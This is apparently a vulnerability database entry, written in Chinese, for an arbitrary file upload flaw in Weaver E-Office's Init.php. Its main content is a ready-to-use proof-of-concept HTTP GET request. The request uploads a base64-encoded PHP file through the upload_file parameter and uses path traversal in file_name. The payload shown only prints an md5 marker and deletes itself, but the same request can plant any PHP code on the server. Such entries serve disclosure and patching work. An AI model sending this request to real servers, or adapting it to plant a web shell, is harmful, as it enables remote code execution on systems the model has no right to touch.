泛微E-Office Init.php 任意文件上传漏洞

2023-08-11 泛微E-Office PoC Public

Description

泛微E-Office Init.php 任意文件上传漏洞

PoC

GET /E-mobile/App/Init.php?m=createDo_Email&upload_file=PD9waHAgZWNobyBtZDUoJ290Z29seCcpO3VubGluayhfX0ZJTEVfXyk/Pg==&file_name=../dides.php HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/db68eb69-d6f7-430f-9622-fdc9e8cfad81

References

Related Vulnerabilities